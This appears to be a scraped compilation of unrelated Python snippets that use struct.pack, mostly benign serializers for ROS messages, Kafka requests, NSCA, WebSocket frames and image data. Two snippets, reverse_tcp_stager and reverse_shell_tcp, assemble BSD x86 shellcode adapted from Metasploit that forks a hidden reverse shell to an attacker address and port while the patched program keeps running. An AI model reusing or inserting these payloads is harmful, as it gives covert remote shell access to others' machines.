def serialize_numpy(self, buff, numpy):
     """
 serialize message with numpy array types into buffer
 :param buff: buffer, ``StringIO``
 :param numpy: numpy python module
 """
     try:
         _x = self
         buff.write(_struct_3I.pack(_x.header.seq, _x.header.stamp.secs, _x.header.stamp.nsecs))
         _x = self.header.frame_id
         length = len(_x)
         if python3 or type(_x) == unicode:
             _x = _x.encode("utf-8")
             length = len(_x)
         buff.write(struct.pack("<I%ss" % length, length, _x))
         _x = self
         buff.write(_struct_2I.pack(_x.status.goal_id.stamp.secs, _x.status.goal_id.stamp.nsecs))
         _x = self.status.goal_id.id
         length = len(_x)
         if python3 or type(_x) == unicode:
             _x = _x.encode("utf-8")
             length = len(_x)
         buff.write(struct.pack("<I%ss" % length, length, _x))
         buff.write(_struct_B.pack(self.status.status))
         _x = self.status.text
         length = len(_x)
         if python3 or type(_x) == unicode:
             _x = _x.encode("utf-8")
             length = len(_x)
         buff.write(struct.pack("<I%ss" % length, length, _x))
     except struct.error as se:
         self._check_types(se)
     except TypeError as te:
         self._check_types(te)
Example #2
1
    def encode_offset_commit_request(cls, client_id, correlation_id, group, payloads):
        """
        Encode some OffsetCommitRequest structs

        Arguments:
            client_id: string
            correlation_id: int
            group: string, the consumer group you are committing offsets for
            payloads: list of OffsetCommitRequest
        """
        grouped_payloads = group_by_topic_and_partition(payloads)

        message = []
        message.append(cls._encode_message_header(client_id, correlation_id, KafkaProtocol.OFFSET_COMMIT_KEY))
        message.append(write_short_string(group))
        message.append(struct.pack(">i", len(grouped_payloads)))

        for topic, topic_payloads in grouped_payloads.items():
            message.append(write_short_string(topic))
            message.append(struct.pack(">i", len(topic_payloads)))

            for partition, payload in topic_payloads.items():
                message.append(struct.pack(">iq", partition, payload.offset))
                message.append(write_short_string(payload.metadata))

        msg = b"".join(message)
        return struct.pack(">i%ds" % len(msg), len(msg), msg)
Example #3
1
 def serialize(self, buff):
     """
 serialize message into buffer
 :param buff: buffer, ``StringIO``
 """
     try:
         _x = self.agent_one
         length = len(_x)
         if python3 or type(_x) == unicode:
             _x = _x.encode("utf-8")
             length = len(_x)
         buff.write(struct.pack("<I%ss" % length, length, _x))
         _x = self.agent_two
         length = len(_x)
         if python3 or type(_x) == unicode:
             _x = _x.encode("utf-8")
             length = len(_x)
         buff.write(struct.pack("<I%ss" % length, length, _x))
         _x = self
         buff.write(
             _struct_6d.pack(_x.rotationx, _x.rotationy, _x.angle, _x.referencex, _x.referencey, _x.evaluation)
         )
     except struct.error as se:
         self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(_x))))
     except TypeError as te:
         self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(_x))))
 def reverse_tcp_stager(self, CavesPicked={}):
     """
     FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
     Modified from metasploit payload/bsd/x86/shell/reverse_tcp
     to correctly fork the shellcode payload and continue normal execution.
     """
     if self.PORT is None:
         print ("Must provide port")
         return False
     # FORK SHELLCODE
     self.shellcode1 = "\x52"  # push edx
     self.shellcode1 += "\x31\xC0"  # xor eax, eax
     self.shellcode1 += "\xB0\x02"  # mov al, 2
     self.shellcode1 += "\xCD\x80"  # int 80
     self.shellcode1 += "\x5A"  # pop edx
     self.shellcode1 += "\x85\xc0\x74\x07"
     self.shellcode1 += "\xbd"
     self.shellcode1 += struct.pack("<I", self.e_entry)
     self.shellcode1 += "\xff\xe5"
     # EXTERNAL SHELLCODE
     self.shellcode1 += "\x6a\x61\x58\x99\x52\x42\x52\x42\x52\x68"
     self.shellcode1 += self.pack_ip_addresses()
     self.shellcode1 += "\xcd\x80\x68\x10\x02"
     self.shellcode1 += struct.pack("!H", self.PORT)
     self.shellcode1 += "\x89\xe1\x6a\x10\x51\x50\x51\x97\x6a\x62\x58\xcd\x80" "\xb0\x03\xc6\x41\xfd\x10\xcd\x80\xc3"
     self.shellcode = self.shellcode1
     return self.shellcode1
Example #5
1
    def encode_produce_request(cls, client_id, correlation_id, payloads=None, acks=1, timeout=1000):
        """
        Encode some ProduceRequest structs

        Arguments:
            client_id: string
            correlation_id: int
            payloads: list of ProduceRequest
            acks: How "acky" you want the request to be
                0: immediate response
                1: written to disk by the leader
                2+: waits for this many number of replicas to sync
                -1: waits for all replicas to be in sync
            timeout: Maximum time the server will wait for acks from replicas.
                This is _not_ a socket timeout

        """
        payloads = [] if payloads is None else payloads
        grouped_payloads = group_by_topic_and_partition(payloads)

        message = []
        message.append(cls._encode_message_header(client_id, correlation_id, KafkaProtocol.PRODUCE_KEY))

        message.append(struct.pack(">hii", acks, timeout, len(grouped_payloads)))

        for topic, topic_payloads in grouped_payloads.items():
            message.append(struct.pack(">h%dsi" % len(topic), len(topic), topic, len(topic_payloads)))

            for partition, payload in topic_payloads.items():
                msg_set = KafkaProtocol._encode_message_set(payload.messages)
                message.append(struct.pack(">ii%ds" % len(msg_set), partition, len(msg_set), msg_set))

        msg = b"".join(message)
        return struct.pack(">i%ds" % len(msg), len(msg), msg)
Example #6
1
   def get(self):
       """Delivers a file over the data connection.
	Attempts to read file and send it over the data_socket
	The first 4 bytes of data define the size of the file.
	Upon successful delivery 'S' sent over control connection.
		else, 'F' sent.
	"""
       data = ""
       data_socket = socket.socket()
       data_socket.connect((self.client_host, self.ephemeral))
       if self.filename.startswith("."):
           self.log("Client requesting a . file.")
           self.log("get FAILURE!")
           data_socket.sendall(struct.pack("!I", 0))
           self.connection.send(b"F")
           return
       elif not os.path.exists(self.filename):
           self.log("Client requesting non-existent file.")
           self.log("get FAILURE!")
           data_socket.sendall(struct.pack("!I", 0))
           self.connection.send(b"F")
           return
       with self.file_lock:
           with open(self.filename, "r") as f:
               data = f.read()
       data_size = len(data)
       data_size_bytes = struct.pack("!I", data_size)
       data_socket.sendall(data_size_bytes + data.encode("utf-8"))
       data_socket.shutdown(socket.SHUT_RDWR)
       data_socket.close()
       self.connection.send(b"S")
       self.log("get " + self.filename + " SUCCESS!")
Example #7
1
 def serialize_numpy(self, buff, numpy):
     """
 serialize message with numpy array types into buffer
 :param buff: buffer, ``StringIO``
 :param numpy: numpy python module
 """
     try:
         buff.write(_struct_B.pack(self.success))
         _x = self.status_message
         length = len(_x)
         if python3 or type(_x) == unicode:
             _x = _x.encode("utf-8")
             length = len(_x)
         if python3:
             buff.write(struct.pack("<I%sB" % length, length, *_x))
         else:
             buff.write(struct.pack("<I%ss" % length, length, _x))
     except struct.error as se:
         self._check_types(
             struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get("_x", self))))
         )
     except TypeError as te:
         self._check_types(
             ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get("_x", self))))
         )
Example #8
0
def BMP24_TO_CI5551(infile, alpha=(1, 1, 1)):
    infile.seek(0x12)
    xs, ys = struct.unpack("<LL", infile.read(8))
    tex = ""
    pal = []
    infile.seek(0x36)
    for y in range(ys):
        line = ""
        for x in range(xs):
            rgb = struct.unpack(">BBB", infile.read(3))[::-1]
            if rgb == alpha:
                rgba = "\x00\x00"
            else:
                rgba = struct.pack(">H", (int(r / 8.226) << 11) | (int(g / 8.226) << 6) | (int(b / 8.226) << 6) | 1)
            try:
                ci_no = pal.index(rgba)
            except:
                if len(pal) < 255:
                    pal.append(rgba)
                    ci_no = len(pal) - 1
                else:
                    return -1
            line += struct.pack(">B", ci_no)
        tex += line
        del line
    pal_ = ""
    for rgba in pal:
        pal_ += struct.pack(">H", rgba)
    del pal
    lp = len(pal_)
    if lp & 7:
        pal_ += "/x00" * (lp & 0xFFF8 + 8 - lp)
    return (xs, ys), tex, pal_
Example #9
0
def spi_transfer(data):
    if len(data) > 1024:
        data = data[:1024]

    temp = struct.pack(">BH", OPCODE_SPI_TXFR, len(data)) + data
    crc = crc16_buff(temp)
    tx_data = struct.pack(">H", sync) + temp + struct.pack(">H", crc)
    # print "Data in TX Buffer:" + ':'.join(x.encode('hex') for x in tx_data)
    if ser.inWaiting() > 0:
        rx_data = ser.read(ser.inWaiting())
        print "Data in RX Buffer:" + ":".join(x.encode("hex") for x in rx_data)

    ser.write(tx_data)
    time.sleep(1)
    print str(ser.inWaiting()) + " waiting."
    rx_data = ser.read(len(tx_data))
    print "SPI RX Data:" + ":".join(x.encode("hex") for x in rx_data)
    print rx_data

    calc_crc = crc16_buff(rx_data[2:-2])
    if struct.pack(">H", calc_crc) == rx_data[-2:]:
        print "Checksum Match"
    else:
        print "Checksum  Fail"
    if ord(rx_data[2]) == OPCODE_SPI_TXFR:
        return rx_data[5:-2]
    else:
        print "No Opcode Found!"
        return rx_data
Example #10
0
    def play_tones(self, channel_frequency_list):
        if midi_channel < 1 or midi_channel > self.MAX_CHANNELS:
            raise Exception(
                "channel '%d' out of range. it has to be between 1 - %d" % (midi_channel, self.MAX_CHANNELS)
            )

        if channel_frequency_list == []:
            return

        data = ""

        for tone in channel_frequency_list:
            channel = tone[0]
            frequency = tone[1]

            if tone.frequency != 0:
                half_period = (1000000.0 / frequency) / (2.0 * self.ARDUINO_RESOLUTION)  # period in microseconds
            else:
                half_period = 0

            # build 3 byte data packet for floppy
            # 1: physical_pin (see microcontroller code for further information)
            # 2: half_period

            physical_pin = (self.midi_channels[tone.midi_channel - 1].floppy_channel - 1) * 2
            data += struct.pack("B", physical_pin) + struct.pack(">H", int(half_period))

        try:
            self._used_serial_ports[self.midi_channels[midi_channel - 1].serial_port].write(data)
        except:
            pass  # print "serial port error"
Example #11
0
    def play_notes(self, channel_note_list):
        # if midi_channel < 1 or midi_channel > self.MAX_CHANNELS:
        #    raise Exception("channel '%d' out of range. it has to be between 1 - %d" % (midi_channel, self.MAX_CHANNELS) )
        if not len(channel_note_list):  # list is empty
            return

        data = ""

        for note in channel_note_list:
            midi_channel = note[0]
            midi_note = note[1]

            # build 3 byte data packet for floppy
            # 1: physical_pin (see microcontroller code for further information)
            # 2: half_period

            half_period = self.midiHalfperiods[midi_note]
            physical_pin = (self.midi_channels[midi_channel - 1].floppy_channel - 1) * 2
            data += struct.pack("B", physical_pin) + struct.pack(">H", int(half_period))

        try:
            # This is solution only works, when all drives are using the same serial port!
            # TODO: sort all events by serial ports and THEN do the sends
            self._used_serial_ports[self.midi_channels[midi_channel - 1].serial_port].write(data)
            # print "len: %d" % len(data)
        except:
            pass  # print "serial port error"
Example #12
0
    def _encode_packet(cls, packet):
        """ Encode dict to network bytes. """
        data_buffer = []
        write = data_buffer.append

        for k, v in packet.items():
            k = k.encode("ascii")

            key_length = len(k)
            value_length = len(v)

            if key_length > MAX_KEY_LENGTH:
                raise TooLongError()

            if value_length > MAX_VALUE_LENGTH:
                raise TooLongError()

            # Write key
            write(pack("!H", key_length))
            write(k)

            # Write value
            write(pack("!H", value_length))
            write(v)

        data_buffer.append(bytes((0, 0)))
        return b"".join(data_buffer)
Example #13
0
    def _encode_to_server(self, iv, timestamp, return_code, host_name, svc_description, plugin_output):
        # note that this will pad the strings with 0's instead of random digits.  Oh well.
        toserver = [
            self.proto_version,
            0,  # crc32_value
            timestamp,
            return_code,
            host_name,
            svc_description,
            plugin_output,
        ]

        # calculate crc32 and insert into the list
        crc32 = binascii.crc32(struct.pack(self.toserver_fmt, *toserver))
        toserver[1] = crc32

        # convert to bytes
        toserver_pkt = struct.pack(self.toserver_fmt, *toserver)

        # and XOR with the IV
        toserver_pkt = "".join(
            [
                chr(p ^ i)
                for p, i in itertools.izip(itertools.imap(ord, toserver_pkt), itertools.imap(ord, itertools.cycle(iv)))
            ]
        )

        return toserver_pkt
Example #14
0
    def _encode_to_server(
        self, iv, timestamp, return_code, host_name, svc_description, plugin_output, mode=1, password=None
    ):
        # note that this will pad the strings with 0's instead of random digits.  Oh well.
        toserver = [
            self.proto_version,
            0,  # crc32_value
            timestamp,
            return_code,
            self._force_str(host_name),
            self._force_str(svc_description),
            self._force_str(self._escape_newlines(plugin_output)),
        ]

        # calculate crc32 and insert into the list
        crc32 = binascii.crc32(struct.pack(self.toserver_fmt, *toserver))
        toserver[1] = crc32

        # convert to bytes
        toserver_pkt = struct.pack(self.toserver_fmt, *toserver)

        # and encode or encrypt
        toserver_pkt = self._encrypt_packet(toserver_pkt, iv, mode, password)

        return toserver_pkt
Example #15
0
 def CallMethod(self, methodDescriptor, rpcController, request, responseClass, done):
     """发送rpc调用"""
     cmdIndex = methodDescriptor.index
     assert cmdIndex < 65535
     data = request.SerializeToString()
     totalLen = len(data) + 2
     self.connector.writeData("".join([pack("<I", totalLen), pack("<H", cmdIndex), data]))
Example #16
0
    def prec1_expr(self, arg_type):

        pass
        self.prec2_expr(arg_type)
        while True:
            if self.LA(1) == ADD or self.LA(1) == SUB:
                pass
                la1 = self.LA(1)
                if False:
                    pass
                elif la1 and la1 in [ADD]:
                    pass
                    self.match(ADD)
                    op = struct.pack("B", ptgAdd)
                elif la1 and la1 in [SUB]:
                    pass
                    self.match(SUB)
                    op = struct.pack("B", ptgSub)
                else:
                    raise antlr.NoViableAltException(self.LT(1), self.getFilename())

                self.prec2_expr(arg_type)
                self.rpn += op
                # print "**prec1_expr4 %s" % arg_type
            else:
                break
Example #17
0
def encode_spectrum(
    mzs, counts, precision="32"
):  # modified from https://code.google.com/p/massspec-toolbox/source/browse/trunk/mzxml/MzXML.py
    # interlace mzs/counts
    import base64

    if precision == "32":
        tmp_size = 4 * (2 * len(mzs)) / 4.0
        pack_format1 = "!%dL" % tmp_size
        pack_format2 = "<I"
        pack_format3 = "<f"
    elif precision == "64":
        tmp_size = 8 * (2 * len(mzs)) / 8.0
        pack_format1 = "!%dQ" % tmp_size
        pack_format2 = "L"
        pack_format3 = "d"
    else:
        raise ValueError("peak precision {} not supported".format(precision))
    tmp_list = []
    str_to_encode = ""
    for m, c in zip(mzs, counts):
        for idx in range(2):
            if idx == 0:
                tmp_f = m
            else:
                tmp_f = c
            tmp_i = struct.pack(pack_format3, tmp_f)
            tmp = struct.unpack(pack_format2, tmp_i)[0]
            tmp_list.append(tmp)
    str_to_encode += struct.pack(pack_format1, *tmp_list)
    b64encoded = base64.b64encode(str_to_encode)
    return b64encoded
Example #18
0
    def prec2_expr(self, arg_type):

        pass
        self.prec3_expr(arg_type)
        while True:
            if self.LA(1) == MUL or self.LA(1) == DIV:
                pass
                la1 = self.LA(1)
                if False:
                    pass
                elif la1 and la1 in [MUL]:
                    pass
                    self.match(MUL)
                    op = struct.pack("B", ptgMul)
                elif la1 and la1 in [DIV]:
                    pass
                    self.match(DIV)
                    op = struct.pack("B", ptgDiv)
                else:
                    raise antlr.NoViableAltException(self.LT(1), self.getFilename())

                self.prec3_expr(arg_type)
                self.rpn += op
            else:
                break
Example #19
0
 def png_pack(png_tag, data):
     chunk_head = png_tag + data
     return (
         struct.pack(native_str("!I"), len(data))
         + chunk_head
         + struct.pack(native_str("!I"), 0xFFFFFFFF & zlib.crc32(chunk_head))
     )
Example #20
0
def write_bin_file(fname, samples, sample_period, start_time):
    """Write samples to binary file"""
    with open(fname, "wb") as fo:
        fo.write(struct.pack("<f", sample_period))
        fo.write(struct.pack("<f", start_time))
        for s in samples:
            fo.write(struct.pack("<f", s))
    def reverse_shell_tcp(self, CavesPicked={}):
        """
        Modified metasploit payload/bsd/x86/shell_reverse_tcp
        to correctly fork the shellcode payload and contiue normal execution.
        """
        if self.PORT is None:
            print ("Must provide port")
            return False

        self.shellcode1 = "\x52"  # push edx
        self.shellcode1 += "\x31\xC0"  # xor eax, eax
        self.shellcode1 += "\xB0\x02"  # mov al, 2
        self.shellcode1 += "\xCD\x80"  # int 80
        self.shellcode1 += "\x5A"  # pop edx
        self.shellcode1 += "\x85\xc0\x74\x07"
        self.shellcode1 += "\xbd"
        # JMP to e_entry
        self.shellcode1 += struct.pack("<I", self.e_entry)
        self.shellcode1 += "\xff\xe5"
        # BEGIN EXTERNAL SHELLCODE
        self.shellcode1 += "\x68"
        self.shellcode1 += self.pack_ip_addresses()
        self.shellcode1 += "\x68\xff\x02"
        self.shellcode1 += struct.pack("!H", self.PORT)
        self.shellcode1 += (
            "\x89\xe7\x31\xc0\x50"
            "\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62"
            "\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68"
            "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50"
            "\xb0\x3b\xcd\x80"
        )
        self.shellcode = self.shellcode1
        return self.shellcode1
    def upload_buffer(self, page, address, buff):
        """Upload data into a buffer on the Crazyflie"""
        # print len(buff)
        count = 0
        pk = CRTPPacket()
        pk.set_header(0xFF, 0xFF)
        pk.data = struct.pack("=BBHH", 0xFF, 0x14, page, address)

        for i in range(0, len(buff)):
            # print "[0x%02X]" %  ord(buff[i]),
            pk.data += buff[i]

            count += 1

            if count > 24:
                self.link.send_packet(pk)
                count = 0
                pk = CRTPPacket()
                pk.set_header(0xFF, 0xFF)
                pk.data = struct.pack("=BBHH", 0xFF, 0x14, page, i + address + 1)

                # sys.stdout.write("+")
                # sys.stdout.flush()

        self.link.send_packet(pk)
Example #23
0
    def _encode_message(cls, message):
        """
        Encode a single message.

        The magic number of a message is a format version number.
        The only supported magic number right now is zero

        Format
        ======
        Message => Crc MagicByte Attributes Key Value
          Crc => int32
          MagicByte => int8
          Attributes => int8
          Key => bytes
          Value => bytes
        """
        if message.magic == 0:
            msg = b"".join(
                [
                    struct.pack(">BB", message.magic, message.attributes),
                    write_int_string(message.key),
                    write_int_string(message.value),
                ]
            )
            crc = crc32(msg)
            msg = struct.pack(">I%ds" % len(msg), crc, msg)
        else:
            raise ProtocolError("Unexpected magic number: %d" % message.magic)
        return msg
Example #24
0
    def to_bin_str(self):
        bin_str = struct.pack("!HLLLH", self.MAGIC, self.w, self.h, self.gen, self.state)

        for e in self._wd:
            bin_str += struct.pack("!L", e)

        return bin_str
Example #25
0
    def encode_fetch_request(cls, client_id, correlation_id, payloads=None, max_wait_time=100, min_bytes=4096):
        """
        Encodes some FetchRequest structs

        Arguments:
            client_id: string
            correlation_id: int
            payloads: list of FetchRequest
            max_wait_time: int, how long to block waiting on min_bytes of data
            min_bytes: int, the minimum number of bytes to accumulate before
                       returning the response
        """

        payloads = [] if payloads is None else payloads
        grouped_payloads = group_by_topic_and_partition(payloads)

        message = []
        message.append(cls._encode_message_header(client_id, correlation_id, KafkaProtocol.FETCH_KEY))

        # -1 is the replica id
        message.append(struct.pack(">iiii", -1, max_wait_time, min_bytes, len(grouped_payloads)))

        for topic, topic_payloads in grouped_payloads.items():
            message.append(write_short_string(topic))
            message.append(struct.pack(">i", len(topic_payloads)))
            for partition, payload in topic_payloads.items():
                message.append(struct.pack(">iqi", partition, payload.offset, payload.max_bytes))

        msg = b"".join(message)
        return struct.pack(">i%ds" % len(msg), len(msg), msg)
Example #26
0
    def send(self, sock):
        """Sends the block over a socket."""

        # Maximum size of a subblock (MAX_SUB_BLOCK_LENGTH)
        magic_number = 508

        sock.sendall(pack("!H", self.block_type))

        # Each block is fragmented into subblocks with a 16-bit header
        unsent = self.buffer
        first_pass = True
        while len(unsent) > 0 or first_pass:
            first_pass = False

            if len(unsent) > magic_number:
                current, unsent = unsent[0:magic_number], unsent[magic_number:]
                last = False
            else:
                current, unsent = unsent, ""
                last = True

            # Header is length of the subblock + last block marker
            header_number = len(current) + 2  # Length + header size
            if last:
                header_number |= 0x8000
            header = pack("!H", header_number)

            sock.sendall(header + current)
Example #27
0
    def encode_offset_fetch_request(cls, client_id, correlation_id, group, payloads, from_kafka=False):
        """
        Encode some OffsetFetchRequest structs. The request is encoded using
        version 0 if from_kafka is false, indicating a request for Zookeeper
        offsets. It is encoded using version 1 otherwise, indicating a request
        for Kafka offsets.

        Arguments:
            client_id: string
            correlation_id: int
            group: string, the consumer group you are fetching offsets for
            payloads: list of OffsetFetchRequest
            from_kafka: bool, default False, set True for Kafka-committed offsets
        """
        grouped_payloads = group_by_topic_and_partition(payloads)

        message = []
        reqver = 1 if from_kafka else 0
        message.append(
            cls._encode_message_header(client_id, correlation_id, KafkaProtocol.OFFSET_FETCH_KEY, version=reqver)
        )

        message.append(write_short_string(group))
        message.append(struct.pack(">i", len(grouped_payloads)))

        for topic, topic_payloads in grouped_payloads.items():
            message.append(write_short_string(topic))
            message.append(struct.pack(">i", len(topic_payloads)))

            for partition, payload in topic_payloads.items():
                message.append(struct.pack(">i", partition))

        msg = b"".join(message)
        return struct.pack(">i%ds" % len(msg), len(msg), msg)
Example #28
0
def compress(input, out):
    # header
    out.write(pack("<L", (len(input) << 8) + 0x10))

    # body
    length = 0
    for tokens in chunkit(_compress(input), 8):
        flags = [type(t) == tuple for t in tokens]
        out.write(pack(">B", packflags(flags)))

        for t in tokens:
            if type(t) == tuple:
                count, disp = t
                count -= 3
                disp = (-disp) - 1
                assert 0 <= disp < 4096
                sh = (count << 12) | disp
                out.write(pack(">H", sh))
            else:
                out.write(pack(">B", t))

        length += 1
        length += sum(2 if f else 1 for f in flags)

    # padding
    padding = 8 - ((length + 7 + 4) % 8)
    if padding:
        out.write(b"\x00" * padding)
    # # padding
    # padding = 4 - (length % 4 or 4)
    # if padding:
    #     out.write(b'\xff' * padding)

    return padding
Example #29
0
    def encode_hybi(buf, opcode, base64=False):
        """ Encode a HyBi style WebSocket frame.
        Optional opcode:
            0x0 - continuation
            0x1 - text frame (base64 encode buf)
            0x2 - binary frame (use raw buf)
            0x8 - connection close
            0x9 - ping
            0xA - pong
        """
        if base64:
            buf = b64encode(buf)

        b1 = 0x80 | (opcode & 0x0F)  # FIN + opcode
        payload_len = len(buf)
        if payload_len <= 125:
            header = pack(">BB", b1, payload_len)
        elif payload_len > 125 and payload_len < 65536:
            header = pack(">BBH", b1, 126, payload_len)
        elif payload_len >= 65536:
            header = pack(">BBQ", b1, 127, payload_len)

        # print("Encoded: %s" % repr(header + buf))

        return header + buf, len(header), 0
Example #30
0
    def _create_data(self, arr):
        """
        Create data buffer from array.

        @param arr: input array.
        @type arr: numpy.ndarray
        @return: the created data buffer.
        @rtype: buffer
        """
        from struct import pack
        from base64 import standard_b64encode
        from zlib import compress

        data = arr.tostring()
        if self.compressor == "gz":
            osize = len(data)
            data = compress(data)
            zsize = len(data)
        if self.encoding == "base64":
            data = standard_b64encode(data)
        if self.compressor == "gz":
            size = pack("iiii", 1, osize, osize, zsize)
        else:
            size = pack("i", len(data))
        if self.encoding == "base64":
            size = standard_b64encode(size)
        return b"".join([size, data])